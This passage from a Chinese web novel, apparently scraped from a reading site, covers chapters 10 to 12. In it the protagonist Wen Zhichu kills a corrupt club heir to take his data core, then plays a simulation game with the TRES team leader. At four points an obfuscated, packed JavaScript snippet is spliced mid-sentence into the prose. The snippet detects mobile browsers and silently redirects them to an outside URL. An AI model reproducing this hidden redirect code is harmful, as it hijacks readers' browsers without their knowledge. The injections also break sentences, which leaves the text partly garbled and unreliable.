温知初打开了门,她斜挎起背包,将外套上的兜帽给戴上,整张脸都被遮掩住。 温知初:“别害怕,其实我进食过一次,上个电子剥离日的时候,你没能捕捉到。” 她开口:“我现在饿了,去吃饭。” 她道:“034号,导航去郊区双子湖。” 034号的电流断断续续,显然陷入了数据乱流:[为宿主导航中。] 这显然不是什么饭馆的地址,通往的明明是… 034号:[前往id为[45978526]用户的地址。] · TRES基地,一行人往外走。 聚餐日,老钱带队员一起出去搓顿火锅。 一行高个子的队员过马路,因为刚训练完,都穿着TRES的制服,队员们浩浩汤汤往前走,看起来颇有气势,惹得行人不由地注目。 个子最高的晏逾明走在最后,散漫地单手插兜,周身萦绕着对任何事物都不在意的、毫无波澜的冷漠。 队伍里最吵的依旧是邱任望,吵到章诎的狐狸眼都不眯了,眼神里带上了嫌弃。 将铭木着张脸,依旧在看终端上的训练资料。 屈孚宁躲避人群,走在队伍的斜侧方,时不时避开朝自己靠近的任何人。 信号灯变绿,老钱打头,一行人走向斑马线。 高楼大厦之间的灯牌五彩斑斓,夜色充斥潮湿的气息,无人机的轰鸣声隐于云间。 光亮照在晏逾明的侧脸,映衬得他的棱角愈发冷硬。 邱任望:“欸!” 他突然叫了声,抬手指向对面的街道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943369|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“那不是那个…温知初吗!” 邱任望:“她也住在这一片吗?” 街角处,是一道冷淡修长的身影,斜挎着熟悉的背包,手上还拎着一个滑板,正不紧不慢地往前走。 邱任望:“欸?” 人呢? 一眨眼的功夫,那道身影就隐于人群中,让人怀疑刚才自己看到的是不是错觉。 信号灯跳动着,晏逾明抬眼,望向了人群中的温知初。 影子随性地随着夜色延伸。 终端‘叮’了一声,晏逾明并没有低头看。 终端的光屏上,显示了数条超过七位数的进账。 · 双子湖社区的房子寸土寸金,安保系统极为完备。 高层的房间内,郭盂正在气急败坏地打电话。 他通过终端把自己手底下办事的人都骂了一通。 电脑的光屏上,不断跳动着各种辱骂Yu的职黑言论,渗透到各个直播、论坛、社媒。 他的个子不算高,但健身把自己练得很壮。作为俱乐部老板的儿子,他也并非全无是处,郭盂热衷于投资,懂得投机取巧,见好就收,赚了不少钱,有这方面的头脑和运气。 可最近不知撞了什么邪,他盯一个项目,就黄一个项目。 项目能确保不黄的那种,不知道听了谁的指令,就是不准他入场。 他从来不记得自己得罪过这方面的大人物啊! 前不久他盯准一个大项目,动用了他爹俱乐部的流动资金,结果昨天底下人告知他钱收不回来了! 到这一步,他哪还能不知道自己被人暗算了。 郭盂的房子内能砸的东西都被他泄气地砸了。钱的事他还瞒着他爹,不敢告诉他。 到底是谁在暗算他? 难道是…郭盂望向电脑上不停跳动的弹幕…难道是Yu? 不、不可能。 Yu不过是个队员,怎么可能有这么大的资本…而且这个人不是被誉为什么圣父么。 郭盂焦虑地坐到沙发上,用指甲抓挠着自己的后脖子。 郭盂满身的怒气,但过了不久后,他又冷静下来,脸上露出狞笑。 他爹一直很溺爱他,他到时候服软磕几个头,这事儿肯定能翻篇。 钱…主要是这个账,不填了,他不甘心。 郭盂面色扭曲,恨不得直接将幕后之人拉出来生吞活剥。 他简直养了一群饭桶,他投下这么多钱,竟然没一个人能查出幕后之人的。 该怎么平账呢…郭盂突然像是想起什么,脸上有了笑,拨通一个电话。 郭盂:“喂,是我。” 郭盂:“你还有打假赛的交易吗?” 对面说有后,郭盂的面色变得轻松:“我爹那个俱乐部有很多可以参加私赛的非主力队员,我想想,至少可以出七八条人命。” 他又道:“放心,肯定能死,你们下注的时候就直接往他们死了下,保准赚。就算不死,我也有办法找人在比赛里把他们弄死。” 他笑道:“不过是个游戏,人死了就死了,老手段了。” 郭盂:“嗯。” 他开口:“明天见面详谈,钱还是老规矩。” 电话挂断后,他大笑几声,得意地骂了几句脏话,有些激动地喝了一口红酒。 就在此时,门铃声响起。 郭盂放下红酒杯:“谁?” 门外传来低沉冷淡的嗓音:“快递。” 10. 第10章 郭盂走过去,透过猫眼往外看,门外的人个子挺高,戴着兜帽和口罩,看不清脸。 郭盂直接打开了门,皱起眉毛:“你哪个公司的,这么晚送快递…” “砰!” 郭盂的话戛然而止。 他矮壮的身躯被一声滑板给迎头抡倒在房间内。 力道十分大,郭盂眼前一黑,身子跌倒时血瞬间沿着头颅往下流,他似乎听到了自己头骨碎裂的声音。 血流到了眼皮上,他发出尖叫声,朦胧的视线内,能看到那人将门关上,提着沾血的滑板朝他走来。 郭盂一边踉跄着想要站起来,一边挣扎着按亮终端想要打电话求救。 才按亮一个数字,那人单手拎起滑板,重重地再次砸向他的头颅。 “砰” “砰” “砰” 温知初面无表情地砸着,直到郭盂没有任何力气再起身。 她拎起郭盂的后衣领,将人在地上拖行,扔到了电脑旁。 她的鞋子踩碎了地上的终端,玻璃渣子裂开。 郭盂满头是血,奄奄一息地趴在地上,连手指头都无法动弹。 温知初将他的手指对向电脑的感应器,打开光屏后,浏览着郭盂的使用记录。 在整个过程中,034号半点声音都不敢发出,陷入电子乱流中。 温知初端坐在沙发上,无视一地的血,平淡到像是来作客的。 看到郭盂投资的惨状后,温知初略微惊讶地挑了挑眉,看来不止有她一个人看他不爽。 在看到那些对Yu的舆论攻击团队后,温知初抿了抿唇。 “钱…”地上的郭盂努力地开口说话,“我可以给你我所有的钱…” “你想要有什么我都有可以给你,求你,不要杀我…” “求你…” 温知初仿若没有听到有人说话,电脑光屏上,她看到了郭盂通过假赛买卖人命的交易。 她冷淡地继续浏览着记录。 啧。 这个人还真是恶贯满盈啊。 地面上的声音开始升高:“不要杀我!” “你知道我是谁吗,敢动我的后果你承担的起吗!” 郭盂挥舞着胳膊,面色狰狞。 “联盟不准战队之间杀戮,所以你肯定是散人,你一个散人也敢和我家对抗!” 温知初站起了身。 她垂首望向郭盂,郭盂张了张嘴,似乎还想吼些什么。 但他没有机会了。 “砰”的最后一声,郭盂的头颅被滑板砸开,血液四溅。 此情此景,像极了当初开服时的宣传画面之一。 杀戮。 竞赛。 血液。 善恶。 ‘快意恩仇。’ ‘开启第二人生,就来。’ 温知初蹲到电子尸体旁,颀长白皙的手指探向了郭盂的头颅,取出刻有‘B-17’的数据核。 擦拭完血液后,数据核闪烁诱人的光芒。 她摘取数据核的动作如此稳重而熟练,让034号想起当初那个C-26的刀疤脸。 温知初坐回沙发上。 背包打开后,她从中拿出了一颗保龄球。 保龄球的底下有个不易察觉的暗扣,打开暗扣后,保龄球分成两瓣,空心球内藏着的东西倾泻而出——全都是数据核。 各式各样的的数据核,晶莹发亮。 温知初取下兜帽,捋起额前沾血的碎发,抓了一把数据核。 她抬眼,眼神温和:“034号。” 034号的声音在发抖:“在、在…” 温知初:“你不是好奇我到底为什么不进餐么,现在你该知道了…” 她道:“我喜欢攒起来一起吃。” 温知初俯身,在电流的尖叫声中,脸埋进了手间,数据核在齿间被咀嚼。 单看墙上倒映的影子,还以为是魔鬼在进食血骨。 嚼碎了。 融化了。 腹中燃烧起火热。 温知初的脸色红润了一些,嘴角露出一丝恶作剧得逞般的笑,难得显得有些稚气。 温知初:“034号。” 她笑道:“我这样的人…你还想让我去攻略男主么?” 一地狼藉。 一地无法说出口的秘密。 · 角罗巷的火锅店内,灯火通明,火锅汤散发热乎乎的辣气。 主力队员坐成一桌,其他机动队员被他们的教练给安排在其余六桌。 好几个小伙子吃得筷子都快冒火星儿。 晏逾明坐在灯光照得并不分明的角落,散漫地喝着啤酒。 他淡漠着,其他人也不敢来敬酒,晦暗不明的光影遮住了他的神情。 此时,终端传来‘叮’的一声。 光屏上自动弹出一个电子日历,页面定格到八月份,原本空白的8月14日,被画上了一道黑色的斜杠。 晏逾明抬眉,百无聊赖的神情有了变化。 有人死了。 8月14日…应该是他上辈子和FTIC比赛的日子,叫什么名字来着…郭盂。 应该是这个人,和他有了过节。 已经死了? 晏逾明冷漠地望着光屏。 他本来准备留在8月14日乐子,没了。 乐子的死亡失去了它本该有的仪式感。 终端亮起了光点,有人打来了电话,晏逾明站起了身。 邱任望抬头:“Yu哥,你出去?” 晏逾明略微点了个头,越过人群走了出去。 夜色下潮湿的空气被灯光照出没有规律的轨迹,终端对面传来汇报的声音:“老大,你让我盯的人里面,有个人死了。” 高长的身影倚在墙边,‘嗯’了一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943370|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 终端对面:“本来一直盯得好好的,郭盂的钱库也被诈光了,钱已经转给老大你了…刚才突然发现他的生命信息没了,应该是死了。” 晏逾明:“说重点。” 终端对面:“我已经派人去双子湖了,郭盂房子的安保系统自动报警过,他爹已经找人过来了,现场很混乱,但已经确定,郭盂肯定是死了。” 终端对面:“死状…惨烈,数据核都被凶手给剖走了,初步猜测是仇杀。” 汇报的人问:“老大,还继续盯这条线吗?” 晏逾明抬眼,看向了街角对面,淡漠地开口:“不用了。” · 数据核不是很容易吸收,温知初出现了身体燥热的后遗症。 本来准备直接回去的她,拐过路口去了街角的一家24H便利店。 她需要一个退热贴。 她才走进便利店,身后的自动门再次打开,传来了低沉的脚步声。 温知初下意识往后看了一眼,深黑的眸子顿住。 穿着TRES队服的一行人走进了便利店,一下把便利店的空地给挤满了。 人群中,她一眼就看到了晏逾明。 温知初转身,将兜帽压得更低,步子拐进就近的货架,她随手拿了个东西,看TRES的队员四散开后,去了柜台。 温知初:“结账。” 是一罐啤酒。 机器人拿起扫描仪,对着啤酒扫完后,对准温知初手指上的终端戒指。 温知初走神的思绪这才在扫描声中回来了一些。 啧。 傻了。 应该直接走的,结什么账… 还有更傻的。 机器人的扫描仪发出‘滴滴’声,结账机器人的显示屏上浮现抱歉的神情:“抱歉,这个顾客,您未满十八岁,不可以购买任何含有酒精的饮料,根据联盟未成年保护法第三十二条,未满十八岁的未成年不可以任何形式在任何地点购得…” 温知初打断播报的机器人:“抱歉,我不需要了。” 她转身想离开,却被身后一道高大修长的身影给挡住了。 晏逾明垂首望着温知初,眼神从上至下,淡漠中带着莫名滚烫的温度。他的手臂越过她的身侧,将一瓶牛奶放在了柜台上。 声音几乎是响在了耳畔:“想买酒?” 兜帽下,温知初深黑的双眼定了定。 真不巧。 晏逾明:“未成年不要喝酒。” 他将柜台上的牛奶拿起,盯向温知初:“喝这个?” 是一瓶草莓牛奶,热气腾腾的那种。 温知初没应声,像是有些不知道该怎么应对这个‘陌生人’。 晏逾明:“不喜欢?” 温知初的手指蜷缩了下,沉默片刻后,她淡淡地抬眼:“谢谢,不用了。” “不爱喝草莓牛奶。”她略微颔首,算是道别。 11. 第11章 翌日。 B市酒店。 向来空荡荡的桌上,多出了一排草莓牛奶,整整齐齐得排列。 034号:[……] 再加上几根蜡烛都可以当贡品了。 全都是宿主昨天晚上夜跑完后,特意去买的。 就这,500ml的牛奶,一瓶卖20元,简直天价牛奶。 宿主原本只剩下4200的余额,一下又少了200。 034号真的很无语,但034号什么都不敢说。 若是放在以前,它肯定会说类似‘何苦呢’话,顺便趁热打铁劝宿主去攻略男主,但现在它是一句话也不敢多说。 034号:x 晨跑结束的宿主刚冲了个澡,推开门,从浴室内往外走,水珠顺着凌乱的头发往下倾泻。 她坐到电脑前,一边开机,一边用毛巾擦拭头发。 她只穿了个黑色的短袖,下半身穿的是迷彩裤,可能是因为眼珠过于深黑,湿漉漉的她莫名看起来像一头小狼,脖子上挂着的灰绳依旧没摘,露出半块军牌。 034号安静如鸡地望着宿主,它回忆着昨天在双子湖发生的事,心中只有一个想法。 剧情选择让它来绑定温知初,绝对是一个错误的决定。 绝对选错人了。 温知初这个人,是一个完完全全、彻底脱离剧情控制的存在。 剧情显然小看了这个在《深渊》中只出场过一次的角色。 宿主明明是E级体质,却已经两次越级戮人,是一件不正常的事。 双子湖出了命案,宿主却能够不留下痕迹、不被追察到地回来,更显不正常。 绑定之后就无法解绑,而且它现在无法联系上‘剧情’。 毕竟,剧情不是活物、不是万物中的一类,剧情是无形的规则,是指派它宿命的‘道’。 就像一样,无形而有界。 自从《深渊》失控,剧情的界限感就消失了,但034号相信,剧情的规则肯定就在这个世界的某一处藏着,如同散乱的拼图一样,努力地修补原有的轨迹。 正如它,就是修复拼图的工具之一。 034号严肃地凝视向脱离界限的宿主,只见让它如临大敌的宿主,正在…拿着纸擦拭草莓牛奶的玻璃瓶。 034号:[……] · 五月初已经有些热了,温知初将窗户打开,让风吹进来,飞行气艇于天际缓慢划过,如快速移动的云层。 她坐回光脑前,打开TRES官网。 战斗模拟的考试时间终于要公布了。 官网的讨论区,有好多围观的网友不断发着‘接生’的评论,显然对TRES新的主力队员很期待,各自押宝看好的考生。 [接生新人。] 温知初看到了自己的名字也在投票池里,不是什么重要的事,她瞥了一眼便收回了视线。 测试时间终于被刷新出来。 是这个月的4号。 讨论区。 [果然。] [我就知道TRES肯定会把体测和笔试一样放在四号,电子剥离日,真是个好日子,一下筛掉大部分无法承受剥离痛的体质。] [好老奸巨猾啊。] [我赌五毛钱,这个主意肯定是章诎出的。] [也只有他能想出这么损的主意了。] [我看好的考生看起来资产都不怎么多的样子,肯定没钱买剥离止痛剂,希望他们能撑住。] [话说你们知道FTIC俱乐部老板的儿子被谋杀了么,老板发动好多人手,没能找出凶手。] [听说死的是个大人渣,里天天死这么多人,终于死对了一个。] [0个人在意。] [比起这个,我更在意TRES这次这么大动作的选拔,是不是想申请成为SS战队了。] [不要啊,如果TRES进了SS阶梯,以后比得就是SS赛了,看直播还得有等级和资产要求,我也许就看不了他们比赛了。] 中存在SS级的战队。所有S级战队都可以申请加入,申请过程严苛且保密。 SS级战队的比赛直播,能隔着屏幕损害观众的精神力,所以会设置观众的等级不得低于B级,且拥有足够就医治疗精神损伤的资产。 温知初的视线扫过‘SS级战队’这几个字,深黑的双眼有所触动。 她顿了顿,关闭讨论区的网页,切进通知区。 就在刚刚考试时间发布后,通知区多了一个模块,叫模拟战斗区。 点进模拟战斗区,有两个渠道—— 一是全息舱,提供购买渠道,买回去后,可以真实全面地体会此次体能战斗力测试的规格和细节。 二是网页游戏,提供下载渠道,下载后,只能通过画面来模拟即将到来的测试。 034号:[这还用想,当然是选择全息舱。] 但它很快又沉默了。 全息舱后标有价格:6000元。 034号:[……] 就算把宿主的草莓牛奶全都退回去,也买不起啊。 温知初没有思考,已经开始下载网页游戏,安装包有些大,她先走开了。 · TRES基地休息-光脑区。 邱任望戴着耳机,劈里啪啦地操作键盘和鼠标。 结束训练的晏逾明从门外走进来,他拿着枪走到沙发旁,坐下后,淡漠而散漫地擦拭起枪。 沙发的空地快要盛放不下他的长腿。 邱任望摘下耳机,激动道:“老大,你做的这个网页游戏真好玩儿。” 互动式的,邱任望昨天晚上熬夜打了一宿。 晏逾明淡淡道:“没仔细做,有Bug告诉我。” 邱任望心中满是敬佩之意,他是看着老大独自编完游戏的,老大利用不到三天的碎片时间,跟玩儿似的就把模拟战斗的网页端给做出来了。 这时候,他才深刻地意识到,可是Yu哥带队研发出来的。 昨天熬夜驰骋网页端的不止他一个。 邱任望转头望向自己右手边的屈孚宁,露出笑:“网页游戏里就不用害怕遇到真人了是吧?” 屈孚宁面前的电脑上正进行到最后冲刺关头,他不断按动键盘,根本不管邱任望在说什么。 片刻后,游戏结束了。 光屏上显示‘通关成功’,屈孚宁摘下笨重的黑框眼镜,露出两个黑眼圈。 他开口:“老大,有Bug。” 他道:“后台的考生准入申请弹到我这里了。” 高大修长的身影走过来,晏逾明弯下腰。 光屏上弹出了一个窗口,是后台考生准入网页端的申请。 [考生编号35642890304申请准入,是否通过。] 站在一旁的屈孚宁问道:“Yu哥,是Bug么?” 晏逾明望着编号末尾的0304,唇角略微上扬。 “不是。” · B市酒店。 网页端在准入的时候卡了一会儿,随后便进入新手教学。 据034号观察,宿主显然第一次玩网页游戏,她的操作一开始有些生疏,在新手教学后,操作键盘和鼠标的动作才顺溜起来。 这不禁让034号联想起宿主之前刚来B市时,她在全息网吧操作眼镜发布弹幕的动作也很生涩。 以前显得不重要的事,在如今它和宿主之间风声鹤唳(034号自以为)的局势下,变得十分显眼。 034号:[!] 这可是玩网游和发弹幕,在联盟里连五六岁的小孩儿都能掌握的基础操作,宿主竟然要重头开始熟悉。 而且…《小朋友都爱的宝镜》! 以前034号只觉得宿主可能是单纯爱看这系列的动画片,现在仔细琢磨琢磨,或许…宿主是在认真地从中学习那些寓教于乐的成语、俗语和心理行为常识呢… 还有更多的疑点。 034号最近接入了A市职业中心的数据库,发现宿主自来到,只从事过保龄球馆兼职这一份工作,从事时长仅有七个月。 据资料,宿主并没有其他亲人存活于世。 那么…宿主在的这五年…从十二岁到十七岁的这五年…是如何存活下来的? 034号:[!] 034号独自头脑风暴。 从宿主的各种异常来看,真相有两种可能。 一,宿主的成长环境极其特殊,所以她没有接触过大众日常活动,生活被规划得封闭,不易被探查。 二…宿主她…不是人。 034号咽了咽电流,十分想念自己的老东家‘剧情’。 被034号观察着的温知初坐在电脑桌前,她仰起头,漫不经心地喝了一口草莓牛奶。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943371|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 034号:[?] 能进食人类的食物? 到底是不是人类? 温知初放下牛奶瓶,盯向光屏,她逐渐熟悉这个模拟测试的网页端。 TRES在通过这种方式告诉他们具体的测试大概被框在什么形式里。 类似于一个题库。 如果有全息舱,不止能知道形式,还可以提前熟悉操作。 温知初移动鼠标,继续跟随新手教程熟悉游戏环境。 这次战斗体能测试,通过网页端的模拟,首先能确定肯定是夺杀异种制,这和之前在中心医院围观的那场B级私赛是同一类型的比赛。 MVP的评分机制最大程度得取决于谁杀的异种最多,当然,前提是能活到比赛的最后。 测试的团队是两人制,进入网页后,随机分配一个队友,两人协同出发,必须保证队友存活到最后。 合作中存在竞争。 优胜队伍中的MVP将成为测试的最终赢家。 新手教程中展示了不同的地图和关卡,关卡类型多种多样,但关卡数量雷打不动是八关,其中涉及到智商解谜、困境逃脱、追击战、异种厮杀、团队和团队之间的竞争、以及团队内部的竞争。 面对游戏/测试中发布的奖励,如何不让其落入他人队伍中,亦如何在两人小队中分配…这都是需要权衡的问题。 考核会测试考生的团队协作能力、智商、指挥能力、情商以及Vent位(Vant位)最需要的作战能力。 非常全面。 毕竟到了S级这个水平,区分Vent、Carn、亦或是Tatics,变得不是那么重要,团队中的每个人都要全面发展。 S级战队会根据不同的比赛让主力队员轮换职能位,适者胜任。 TRES现在招的是辅Vent位,如果有人成功进入战队,以后有很大机会被轮换到其他位置试炼。 新手教程结束,光屏上弹出新的窗口。 [是否正式开始模拟测试游戏。] 温知初点击[是]。 [请创建角色用户名。] 温知初颀长白皙的手指在桌面上轻轻敲击了几下。 用户名? 她的视线瞥过桌面上的草莓牛奶,没多思考,随手输入一个用户名。 创建完用户名后,页面进入昏暗恐怖的环境中,是一个潮湿阴暗的地下室,她被关在了角落。 除了她之外,还有一个角色人物被绑在了她身边。 这应该就是系统随机给她分配的队友了。 温知初戴上耳机,开启麦克风:“你好,能听到么?” · TRES基地光脑区。 “你好,能听到么?” 晏逾明坐在电脑前,耳机的另一端传来声音。 声音出乎意料的温和,和之前在医院、在便利店的冷淡不同。 听见没有人回答后,对面耐心地重新问了一遍。 与此同时,温知初的耳机内传来回答,是低沉机械的电子音。 “能听见,我用电子音,可以么?” “我能理解。”温知初应声道,“可以。” 她操作着键盘,已经解开绳索,检查地下室的线索。 她的队友似乎没准备动弹,连带着绳索倚靠在角落里,非常老神在在。 温知初不太在意这些。 她只要保证自己的队友存活到最后就行了。 能分配到队友已经不错了,毕竟一轮测试需要六个小时,是个体力活。 沉默中,被温知初操作的小人低头拼凑着密码,耳畔再次响起声音。 电子音:“你的用户名?” 小人的脑袋上显示着一行字,是温知初刚才取的——‘草莓牛奶挺好喝’。 而队友的用户名就是一串乱码。 密码‘咔哒’解开了,门打开,露出了一丝光线以及异种的喘息声。 电子音:“喜欢喝草莓牛奶?” 温知初:“还行。” 电子音:“推荐一个?” 她的眼神望向桌面上的牛奶瓶,顺着话题,不经心道:“牌子叫Torix。” 温知初:“你可以试试。” 耳机内先是沉默,而后传来一声电子音的低笑,听起来有些沙哑。 “好。” “找机会我试试。” 12. 第12章 六个小时的游戏结束后,光屏上弹出‘通关成功’的烟花,回放游戏过程中的精彩画面。 角色小人在光屏上兴奋地跳动。 已经中午快下午了。 温知初向后靠到椅子上,按摩自己的手腕,看着光屏上伤痕累累的小人。 很强的既视感。 他们这些身处中的人,又何尝不是游戏中被观赏操作的小人。 034号立马浮现:[宿主,好难得,你竟然有此感悟。]平常它都听不到宿主的想法。 温知初:“既视感。” 034号:[?] 温知初:“指经历之事的相似感。” 034号:[?] 温知初坐直身:“昨天新学的词。” 034号:[……]又是那个《小朋友都爱的宝镜》… 耳机还没摘,温知初的耳畔传来电子音。 “下线?” “嗯。”温知初的语气慵懒而温和,“已经中午了,你去吃饭吧,谢谢合作。” 这个队友虽然话不多,也不怎么操作,但没有拖后腿。 电子音:“下午来么?” 温知初:“不了,下午有安排。” 电子音机械而低沉:“安排?” 温知初:“看电影。” 耳机对面似乎传来了人走动的声音,电子音再次响起:“推荐下?” 温知初手放在键盘上,直接打字:“《小朋友都爱看的宝镜-动物冒险篇》。” 光屏上弹出聊天框的字体。 “挺好看的。” “你可以看看。” 034:[……] 打完字后,温知初关闭游戏界面,没有再聊,她摘下耳机,离开了桌前。 春风从窗外吹来,暖洋洋中带着些许春末的凉意。 窗帘被风吹得很高。 · TRES基地。 训练了一下午,等出训练场的时候,已经是深夜了。 邱任望累如死狗,被章诎那个老狐狸眯着眼嘲笑了一通。 训练压力大,本来准备开窗看夜景放放松,一拉开帘子,看到的不是刺眼的霓虹灯就是聒噪的无人机,邱任望压力更大了。 他决定还是去看电影。 TRES基地有私人影院,可供主力队员享用。 他们这五个主力队员中,除了他,没人喜欢看电影这种复古的娱乐活动,他经常一个人独自‘包场’。 邱任望去了休息区那栋楼,直奔地下一层的影院,进影院之前,他先去影院机器人那里领了一桶爆米花、一桶土豆片,一桶炸鸡柳,还有一瓶可乐。 别问。 问就是能吃完。 两手捧着零食走进影院,邱任望惊讶地在后门处停下脚步。 一号播放厅里竟然有声音。 有人在看电影。 真是天要下雨爹要嫁人,除了他竟然还有人来看电影。 看到影院第一排坐着的是老大后,邱任望更惊讶了,这真是意料之外的意料之外。 他还以为老大的娱乐活动,除了写代码就是看书了。 老大在看什么电影? 邱任望很激动,他站在后门往大屏幕上看,老大看的肯定是那种贼刺激的谍战片或者打斗片—— 大屏幕上,一头圆头圆脑的卡通猪在蛄蛹。 邱任望:“……” 邱任望:“?” 那头猪脸上是邪恶的表情,恨恨地抬头看上半空飘飞的…另一头猪?而且是…仙女猪? 那头仙女猪手上拿着个宝镜,照向邪恶猪旁边的河流:“你这样的品性,是无法用宝镜照出河流的答案的。” 邪恶猪:“难道你就能么?” 就在此时,仙女猪中的宝镜大亮,显露出四个字——上、善、若、水。 而后那头邪恶猪脸上露出不可置信的表情:“不、不可能,你、你怎么可能会得到答案。” 仙女猪:“因为我能领悟上善若水的含义。” 画面上,仙女猪突然切换成播音腔:“水滋润万物而无言,恰如无声的善行,大善无声,不与他物争高低,你…懂了么?” 宝镜散发五彩斑斓的光芒。 邪恶猪:“不——” 站在后门的邱任望几乎冻成了一座石雕。 邱任望:“……” 邱任望:“……………………” 第一排坐着的晏逾明正面无表情地看着大屏幕,他的手上拿着一把枪,漫不经心地拆开、又组装。 邱任望捧着一堆零食,默默地离开了一号播放厅。 · 正式测试的日子很快就到来,距离公布的考试日期不过三天。 这三天里,034号只见过宿主玩儿了一次模拟战斗的网页游戏。 宿主似乎觉得这样便足够了。 了解关卡的形式和规则就行了。 测试的时间被定在了下午三点,因为这天的凌晨到中午十二点,是独属于电子剥离的十二个小时。 从凌晨开始,大街上便不停传来痛苦的尖叫声,还有打砸悬浮车和商店玻璃的声响,警笛声和救护车的声音交错,错落地鸣叫。 直到正午过去,外面的闹腾声才逐渐平息。 也就在这时,浴室的门打开了,034号看着宿主从浴室门内走了出来,已经换好了衣服,头发也吹干了。 桌面上的光脑上,弹幕不停刷新着。 网友都在骂TRES的策划太过狠心,根本不给考生休息的机会,也不给他们这群观众好好看直播的机会。 参加测试的、围观测试的,现在全都头痛欲裂,没一个好受的。 温知初修长的身影弯下腰,把光脑关了,拎起椅背上的背包。 她今天穿了身拉链款的不规则卫衣裙,浅灰色,卫衣带有薄款针织的兜帽,叠穿牛仔裤,看起来慵懒而随性。 对此,034号有话说。果然时尚的完成不仅仅靠脸,还得靠身材、靠气质、靠体态… 如果没有把那瓶草莓牛奶塞进背包里就更好了。 034号:[……] 034号仔细地观察宿主的状态。 明明宿主和其他人一样,经历了十二个小时的电子剥离痛,为什么一点反应都没有… 温知初脸色平淡而稳重,低束的头发让她看起来温和至极,白皙的手背上青络很是清晰。 关好窗户后,她斜挎起背包,推门往外走。 034号忍不住还是出声了:[宿主,你还是三思。] 034号知道温知初是一个不安定的因素,但它并不希望她死亡。 034号:[TRES的测试不是闹着玩儿的,是真的会导致死亡。] 虽然宿主曾经越级解决过C级和B级的散人,但现在她面对的对手,是训练有素的A级和S级。 有人说A级和B级之间差了100个B级,同理,S级和A级之间差了100个A级。 034号把自己的想法都如实说出来:[接近男主不只加入战队这一个办法。] 无论是为了升级还是什么其他重要的事,都不至于把自己的命搭进去。 温知初:“谢了。” 很可惜,她的人生向来没这么多选择,TRES是必须要去的。 ‘咔哒’一声,身后的门被阖上。 走了。 · 测试场馆外已经挤满了人,温知初住得远,来得算是较晚的一批,其他人已经领完手环在一旁等候了。 微型无人机就近地盘旋着拍摄。 侧门的帘子有点儿矮,温知初弯下腰踏入场馆,她今天只戴了个薄款的卫衣针织帽,没有戴口罩,现身时,大堂莫名安静了下来。 直播的弹幕区也寂静了好几秒。 负责录入数据的监考官一抬头,对上温知初深黑的双眼,舌头都打结了:“这位…这位考生你好,请先递交考试编号。” 温知初抬起手,让监考官扫描她手指上戴着的终端。 ‘滴’的一声。 录入进去后,监考官把检测生命体征的手环发给她。 监考官指向不远处的仪器:“那里是采集全身数据的原始仪器,不仅可以采集你的体质等级,还能测试出和比赛息息相关的幸运值和道德值,我带你去检测。” 这算是一个带有趣味性的小仪式了,每个战队招人的时候都会测一测,放到星网上。网友最喜欢分析明星战队的数值。 一般S级战队的队员,体质等级不用说,大多S级;至于幸运值和道德值…人各有别,大多分布在B到S区间。 当然也有个别数值较为极端的,譬如Yu,他当初的道德值被测出的是S级,是他圣父称号的起始。 再譬如屈孚宁,他的幸运值是S级,在比赛中每次抽取道具都能抽到最好的,路线也被分配到最简单的,常常化险为夷。 测这个,主要看个乐子。 不过仪器会现场播报数据,当数据念出来时,不少体质等级低的人都红了脸,毕竟现如今实力为尊,低人一级矮人一身。 弹幕调侃着这是公开处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943372|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刑。 温知初站在队伍里排队,神色淡淡的。 她知道自己的体质等级是E级,对幸运值和道德值不太感兴趣。 周围有不少人在看她,眼神中有善意,但也有很多表露出不屑。 E级啊… 脑子再好使,又有什么用,不过一个易碎品罢了。 站在温知初前面的年轻男人转过了身,他略比温知初矮了半个头,人物信息上大刺刺地标着S-12的等级。 他的身旁簇拥着不少A级,显然是个有傲气的实力者。 年轻男人皱起眉:“你就是一测满分的那个?” 温知初垂眼望向他,这人语气不怎么好。 年轻男人身后有人问:“哑巴?” 温知初略微挑眉,侧脸的线条很是冷淡。 有监考官在,他们没有再闹出什么动静,但脸上的嘲笑意味很重,显然都等着仪器播报她数据的窘迫时刻。 